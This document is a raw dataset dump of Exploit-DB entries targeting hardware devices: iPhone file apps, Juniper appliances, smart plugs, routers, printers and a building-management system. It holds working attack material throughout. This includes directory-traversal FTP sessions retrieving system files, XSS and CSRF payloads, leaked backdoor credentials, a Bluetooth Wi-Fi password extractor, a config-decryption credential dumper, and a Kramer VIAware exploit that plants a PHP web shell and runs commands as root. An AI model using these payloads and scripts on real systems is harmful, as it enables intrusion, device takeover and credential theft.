deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16227
Description: iSO Filer Lite 2.1.0 - Directory Traversal
Type: remote
Platform: hardware
Date: 2011-02-24
Author: R3d@l3rt_ Sp@2K_ Sunlight

Exploit:
# Exploit Title: Filer Lite v2.1.0 for iPhone / iPod touch, Directory Traversal 
# Date: 02/24/2011
# Author: R3d@l3rt, Sp@2K, Sunlight, H@ckk3y
# Software Link : http://itunes.apple.com/kr/app/filer-lite-download-view-manage/id350939597?mt=8
# Version: 2.1.0
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware  

# There is directory traversal vulnerability in the Filer Lite.  
# Exploit Testing

C:\>ftp
ftp> open 192.168.0.70 2121
Connected to 192.168.0.70.
220 DiddyFTP server ready.
User (192.168.0.70:(none)): anonymous
331 Password required for anonymous
Password:
230 User anonymous logged in.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for '/bin/ls'.
total 1
drwxr-xr-x     2 mobile mobile        136 Feb 24 15:42 Filer Help Files
226 Transfer complete.
ftp: 81 bytes received in 0.00Seconds 81000.00Kbytes/sec.
ftp> get ../../../../../etc/passwd
200 PORT command successful.
150 Opening BINARY mode data connection for '../../../../../etc/passwd'.
226 Transfer complete.
ftp: 785 bytes received in 0.00Seconds 785000.00Kbytes/sec.
ftp> get ../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist
200 PORT command successful.
150 Opening BINARY mode data connection for '../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist'.
226 Transfer complete.
ftp: 270 bytes received in 0.00Seconds 270000.00Kbytes/sec.
ftp> quit

C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file.  Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

C:\>type com.apple.conference.plist
bplist00?_restoredFromBackup\natTypeCache?
_DIPv4.Router=192.168.0.1;IPv4.RouterHardwareAddress=1c:bd:b9:XX:XX:XX_EIPv4.R
outer=192.168.11.1;IPv4.RouterHardwareAddress=00:24:a5:XX:XX:XX?  XnatFlag
C:\>



# IPhone inside information

1. Phone Book
 - /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb
     
2. Safari Favorites List
 - /private/var/mobile/Library/Safari

3. Users E-mail Information
 - /private/var/mobile/Library/Preferences/com.apple.accountsettings.plist

4. IPv4 Router Information
 - /private/var/mobile/Library/Preferences/com.apple.conference.plist
Exploit-DB #33257
Description: Juniper Junos 8.5/9.0 J - Web Interface 'PATH_INFO' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2009-09-22
Author: Amir Azam

Exploit:
source: https://www.securityfocus.com/bid/36537/info

Juniper Networks JUNOS is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data to J-Web (Juniper Web Management).

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

This issue affects the following:

J-Web 8.5R1.14
J-Web 9.0R1.1 

http://www.example.com/"<script>alert(1)</script>
Exploit-DB #33261
Description: Juniper Junos 8.5/9.0 J - Web Interface (Multiple Script) 'm[]' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2009-09-22
Author: Amir Azam

Exploit:
source: https://www.securityfocus.com/bid/36537/info
    
Juniper Networks JUNOS is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data to J-Web (Juniper Web Management).
    
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
    
This issue affects the following:
    
J-Web 8.5R1.14
J-Web 9.0R1.1 

http://www.example.com/monitor?m[]='><script>alert(1)</script>
http://www.example.com/manage?m[]='><script>alert(1)</script>
http://www.example.com/events?m[]='><script>alert(1)</script>
http://www.example.com/configuration?m[]='><script>alert(1)</script>
http://www.example.com/alarms?m[]='><script>alert(1)</script>
http://www.example.com/?m[]='><script>alert(1)</script>
http://www.example.com/?action=browse&m[]="><script>alert(1)</SCRIPT>&path=/var/crash&
Exploit-DB #33258
Description: Juniper Junos 8.5/9.0 J-Web Interface - '/diagnose' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: hardware
Date: 2009-09-22
Author: Amir Azam

Exploit:
source: https://www.securityfocus.com/bid/36537/info
 
Juniper Networks JUNOS is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data to J-Web (Juniper Web Management).
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
 
This issue affects the following:
 
J-Web 8.5R1.14
J-Web 9.0R1.1 

Program URI :- http://www.example.com/diagnose?m[]=pinghost

Vulnerable Parameter :- Remote Host
<input id="systest-pinghost-hostname" name="host">

Program URI :- http://www.example.com/diagnose?m[]=traceroute

Vulnerable Parameter :- Remote Host
<input id="systest-traceroute-hostname" name="host">
Exploit-DB #33260
Description: Juniper Junos 8.5/9.0 J-Web Interface - 'scripter.php' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: hardware
Date: 2009-09-22
Author: Amir Azam

Exploit:
source: https://www.securityfocus.com/bid/36537/info
   
Juniper Networks JUNOS is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data to J-Web (Juniper Web Management).
   
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
   
This issue affects the following:
   
J-Web 8.5R1.14
J-Web 9.0R1.1 

11. http://www.example.com/scripter.php?act="><script>alert(1)</script>&debug=1&ifid=1&refresh-time=1&
12. http://www.example.com/scripter.php?refresh-time="><script>alert(1)</script>
13. http://www.example.com/scripter?act=header&ifid=')"><script>alert(1)</script>&
Exploit-DB #26168
Description: Juniper NetScreen 5.0 - VPN 'Username' Enumeration
Type: remote
Platform: hardware
Date: 2005-08-18
Author: Roy Hills

Exploit:
source: https://www.securityfocus.com/bid/14595/info

The Juniper Netscreen VPN implementation will identify valid usernames in IKE aggressive mode, when pre-shared key authentication is used. This allows for attackers to obtain a list of valid VPN users. With a valid username, an attacker can obtain hashed credentials against which a brute force attack may be performed. A successful crack would mean that the attacker has complete access to the network. 

The ike-scan options used in this example are:

-A Specify IKE Aggressive Mode. The default for ike-scan is
Main Mode.

-M Multiline: Display each payload on a separate line, which
makes the output easier to read.

--id=string Specify the string to be used for the ID payload.

10.0.0.1 The IP address of the target Netscreen.

3.1. Response to valid username "royhills@hotmail.com"

$ ike-scan -A -M --id=royhills@hotmail.com 10.0.0.1
Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Aggressive Mode Handshake returned
HDR=(CKY-R=21af4dbe2cecd5f0)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)
VID=64405f46f03b7660a23be116a1975058e69e[PII_REDACTED][PII_REDACTED]
(Netscreen-05)
VID=[PII_REDACTED]426561745f4e6f[PII_REDACTED]6b0100 (Heartbeat Notify)
KeyExchange(128 bytes)
Nonce(20 bytes)
ID(Type=ID_IPV4_ADDR, Value=10.0.0.1)
Hash(20 bytes)

Ending ike-scan 1.7.7: 1 hosts scanned in 0.136 seconds (7.37 hosts/sec). 1
returned handshake; 0 returned notify

3.2. Response to invalid username "invalid@hotmail.com"

$ ike-scan -A -M --id=invalid@hotmail.com 10.0.0.1
Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)

Ending ike-scan 1.7.7: 1 hosts scanned in 2.467 seconds (0.41 hosts/sec). 0
returned handshake; 0 returned notify
Exploit-DB #37429
Description: Juniper Networks Mobility System Software - '/aaa/wba_login.html' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2012-06-14
Author: Craig Lambert

Exploit:
source: https://www.securityfocus.com/bid/54075/info

Mobility System Software is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mobility System Software versions prior to 7.6.3 and 7.7.1 are vulnerable. 

https://www.example.com/aaa/wba_login.html?wbaredirect=wba-dnserror&9f45dâ?><script>alert(1)</script>22whatever=1
Exploit-DB #34316
Description: Juniper Networks SA2000 SSL VPN Appliance - 'welcome.cgi' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2010-06-09
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/41664/info

Juniper Networks SA2000 SSL VPN appliance is prone to a cross-site scripting vulnerability because the web interface fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Juniper Networks SA2000 running IVE OS 6.5R1 (Build 14599) are vulnerable; other models and versions may also be affected. 

http://www.example.com/dana-na/auth/url_default/welcome.cgi?p=logout&c=37&u=</script><script>alert(1)</script>
Exploit-DB #31311
Description: Juniper Networks Secure Access 2000 - 'rdremediate.cgi' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2008-02-28
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/28034/info

Juniper Networks Secure Access 2000 is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Juniper Networks Secure Access 2000 5.5R1 Build 11711 is vulnerable; other versions may also be affected. 

https://www.example.com/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert(&#039;Can%20Cross%20Site%20Attack&#039;)</SCRIPT>&action=tryagain&signinId=url_default

COMPLETE HTTP REQUEST:

GET
/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert(&#039;Can%20Cross%20Site%20Attack&#039;)</SCRIPT>&action=tryagain&signinId=url_default
HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*
[CRLF]
[CRLF]


PARTIAL HTTP RESPONSE:

<title></title>

[SNIP]

<APPLET id=NeoterisSetup > Unknown deliver mode
</APPLET><SCRIPT>alert(&#039;Can Cross Site Attack&#039;)</SCRIPT>
<PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET>
Exploit-DB #50145
Description: KevinLAB BEMS 1.0 - Undocumented Backdoor Account
Type: remote
Platform: hardware
Date: 2021-07-21
Author: LiquidWorm

Exploit:
# Exploit Title: KevinLAB BEMS 1.0 - Undocumented Backdoor Account
# Date: 05.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.kevinlab.com

Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The BEMS solution has an undocumented backdoor account and these sets of
credentials are never exposed to the end-user and cannot be changed through any
normal operation of the solution thru the RMI. Attacker could exploit this
vulnerability by logging in using the backdoor account with highest privileges
for administration and gain full system control. The backdoor user cannot be
seen in the users settings in the admin panel and it also uses an undocumented
privilege level (admin_pk=1) which allows full availability of the features that
the BEMS is offering remotely.

Tested on: Linux CentOS 7
           Apache 2.4.6
           Python 2.7.5
           PHP 5.4.16
           MariaDB 5.5.68


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5654
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php


05.07.2021

--


Backdoor accounts from the DB:
------------------------------

Username: kevinlab (permission=1)
[CREDENTIAL_REDACTED]

Username: developer1 (permission=6)
Password: 1234
Exploit-DB #40633
Description: Komfy Switch with Camera DKZ-201S/W - WiFi Password Disclosure
Type: remote
Platform: hardware
Date: 2016-10-26
Author: Jason Doyle

Exploit:
#!/usr/bin/python
# Exploit Title: Komfy Switch with Camera Wifi Password Disclosure via Bluetooth BLE
# Date: Oct 13, 2016
# Exploit Author: Jason Doyle @_jasondoyle
# Vendor Homepage: http://us.dlink.com/products/connected-home/komfy-switch-with-camera/
# HW Model: DKZ-201S/W
# SW Version: 1.0
# Tested on: Ubuntu 16.04 LTS / Python 2.7
# Disclosure Timeline: 10/11/16 Reported vulnerability to D-Link
#                      10/11/16 D-Link responded - The Komfy switch will be discontinued 12/30/16. No fix planned.

# Vulnerability Summary
#It is possible for an unauthenticated, remote attacker to retrieve the Komfy device's associated wifi ssid and password over bluetooth (4.0/BLE).

# Vulnerability Details
#https://github.com/jasondoyle/Komfy-Switch-Wifi-Password-Disclosure  



# Author: Jason Doyle @_jasondoyle
# Komfy Switch with Camera wifi password disclosure exploit script
import re, base64
from bluepy.btle import Scanner
from gattlib import GATTRequester

#lookup table to unscramble
base64Alphabet =  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[PII_REDACTED]+/=" # '=' used for padding
komfy64Alphabet = "qazwersdfxcvbgtyhnmjklpoiu[PII_REDACTED]+/POIKLMJUYTGHNBVFREWSDCXZAQ$" # '$' used for padding

scanner = Scanner()

devices = scanner.scan(5.0)
bAddr = ""
for dev in devices:
    if "6c:72:20" in dev.addr and dev.getValueText(1) and dev.getValueText(7) and dev.getValueText(9):
        bAddr = dev.addr
        print "[+] Komfy switch found: %s (%s), RSSI=%d dB" % (dev.addr, dev.addrType, dev.rssi)
if not bAddr:
    print "No Komfy switches found"
    sys.exit(1)

req = GATTRequester(bAddr.encode('ascii','ignore'), False, 'hci0')
req.connect(True, 'public', 'none', 0, 78)

#request SSID
wifiSsid = req.read_by_uuid("0xb006")[0]
reg = re.search(r"(:\s\"(.*)\")", wifiSsid)
wifiSsid = reg.groups()[1].replace("\\","")

#request komfy encoded wifi password
wifiPassKomfy64 = req.read_by_uuid("0xb007")[0]
reg = re.search(r"(:\s\"(.*)\")", wifiPassKomfy64)
wifiPassKomfy64 = reg.groups()[1].replace("\\","")

#convert password to real base64
wifiPassBase64 = ""
for char in wifiPassKomfy64:
    i = komfy64Alphabet.index(char)
    wifiPassBase64 += base64Alphabet[i]

wifiPass = base64.b64decode(wifiPassBase64)
print "[+] Wifi password found for Komfy Switch [%s] SSID: %s Password: %s" % (bAddr, wifiSsid, wifiPass)
Exploit-DB #35103
Description: Konke Smart Plug K - Authentication Bypass
Type: remote
Platform: hardware
Date: 2014-10-29
Author: gamehacker

Exploit:
-----------------------------------------------------------------------
          Konke Smart Plug Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author      : gamehacker&zixian
Mail        : gh<gh@waloudong.org>&zixian<me@zixian.org>
Date        : Oct, 17-2014
Vendor      : http://www.kankunit.com/
Link        : http://www.kankunit.com/
Version     : K
CVE         : CVE-2014-7279
 
Exploit & p0c
_____________
 
    “Konke” is a smart Home Furnishing products (http://www.kankunit.com/) in China, the product has a security vulnerability, an attacker could exploit the vulnerability to obtain equipment management authority.


    Konke Smart Plug open 23 port，we can telnet the 23 port，we can get root without password.


    1、Scan Konke. you can use nmap scan the 23 port.
    2、open cmd telnet Konke's 23 port.
    3、now you are the root. it is a openwrt,you can use busybox do everything! you can use "reboot" command to reboot Konke.and so on……


_____________
Exploit-DB #50856
Description: Kramer VIAware - Remote Code Execution (RCE) (Root)
Type: remote
Platform: hardware
Date: 2022-04-07
Author: sharkmoos

Exploit:
# Exploit Title: Remote Code Execution as Root on KRAMER VIAware
# Date: 31/03/2022
# Exploit Author: sharkmoos
# Vendor Homepage: https://www.kramerav.com/
# Software Link: https://www.kramerav.com/us/product/viaware
# Version: *
# Tested on: ViaWare Go (Linux)
# CVE : CVE-2021-35064, CVE-2021-36356

import sys, urllib3
from requests import get, post
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def writeFile(host):
    headers = {
    "Host": f"{host}",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
    "Accept": "text/html, */*",
    "Accept-Language": "en-GB,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "X-Requested-With": "XMLHttpRequest",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Gpc": "1",
    "Te": "trailers",
    "Connection": "close"
    }
    # write php web shell into the Apache web directory
    data = {
        "radioBtnVal":"""<?php
        if(isset($_GET['cmd']))
        {
            system($_GET['cmd']);
        }?>""",
        "associateFileName": "/var/www/html/test.php"}
    post(f"https://{host}/ajaxPages/writeBrowseFilePathAjax.php", headers=headers, data=data, verify=False)


def getResult(host, cmd):
    # query the web shell, using rpm as sudo for root privileges
    file = get(f"https://{host}/test.php?cmd=" + "sudo rpm --eval '%{lua:os.execute(\"" + cmd + "\")}'", verify=False)
    pageText = file.text
    if len(pageText) < 1:
        result = "Command did not return a result"
    else:
        result = pageText
    return result

def main(host):
    # upload malicious php
    writeFile(host)
    command = ""
    while command != "exit":
        # repeatedly query the webshell
        command = input("cmd:> ").strip()
        print(getResult(host, command))
    exit()

if __name__ == "__main__":
    if len(sys.argv) == 2:
        main(sys.argv[1])
    else:
        print(f"Run script in format:\n\n\tpython3 {sys.argv[0]} target\n")
Exploit-DB #38804
Description: Level One Enterprise Access Point (Multiple Devices) - 'backupCfg.cgi' Security Bypass
Type: remote
Platform: hardware
Date: 2013-10-15
Author: Richard Weinberger

Exploit:
source: https://www.securityfocus.com/bid/63168/info

Multiple Level One Enterprise Access Point devices are prone to a security bypass vulnerability.

Successfully exploiting this issue may allow an attacker to gain access to sensitive configuration information including credentials. This may aid in further attacks.

Level One EAP-110 and EAP-200 running firmware 2.00.03 build 1.50-1.5045 are vulnerable; other versions may also be affected. 

# tellpassword.py
#
# Extracts user accounts from Level1 (ip4net)
# EAP-200 (and other) Wifi Access Points
#
# (c) 2013 sigma star gmbh

import sys, re

attribRegex = re.compile(r"(\w+)=\"([^\"]*)\"")

if (len(sys.argv) != 2):
    print "USAGE: %s config-backup.conf" % sys.argv[0]
    exit(1)

# decrypt config
encrypted = open(sys.argv[1], 'rb')
plain = open('plain.xml', 'w')
cntr = 0
encrypted.seek(128)
byte = encrypted.read(1)
print "Decrypting config file into plain.xml"
while byte:
    plainOrd = ((ord(byte) ^ 0xff) + cntr) % 0x80
    plain.write(chr(plainOrd))
    cntr = (cntr + 1) % 0x40
    byte = encrypted.read(1)
encrypted.close()
plain.close()

# find user accounts
print "Parsing accounts..."
plain = open('plain.xml', 'r')
for line in plain:
    if "<user" in line:
        user = None
        password = None
        for match in attribRegex.finditer(line):
            attrib = match.group(1)
            if attrib == "name":
                user = match.group(2)
            elif attrib == "password":
                password = match.group(2)
        if len(password) > 0:
                print " - %s: %s" % (user, password)
plain.close()
Exploit-DB #38851
Description: LevelOne WBR-3406TX Router - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2013-11-15
Author: Yakir Wizman

Exploit:
source: https://www.securityfocus.com/bid/63908/info

LevelOne WBR-3406TX router is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device.

<html>
<body>
<form action="http://www.example.com/cgi-bin/pass" method="POST">
<input type="hidden" name="rc" value="@" />
<input type="hidden" name="Pa" value="1234567" />
<input type="hidden" name="P1" value="1234567" />
<input type="hidden" name="rd" value="atbox" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Exploit-DB #35170
Description: Lexmark X651de - Printer Ready Message Value HTML Injection
Type: remote
Platform: hardware
Date: 2011-01-06
Author: dave b

Exploit:
source: https://www.securityfocus.com/bid/45688/info

Lexmark Printer X651de is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected printer web interface application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Lexmark Printer X651de is vulnerable; other versions may also be affected. 

nmap --script=pjl-ready-message.nse --script-args='pjl_ready_message="<script>alert(1);</script>"'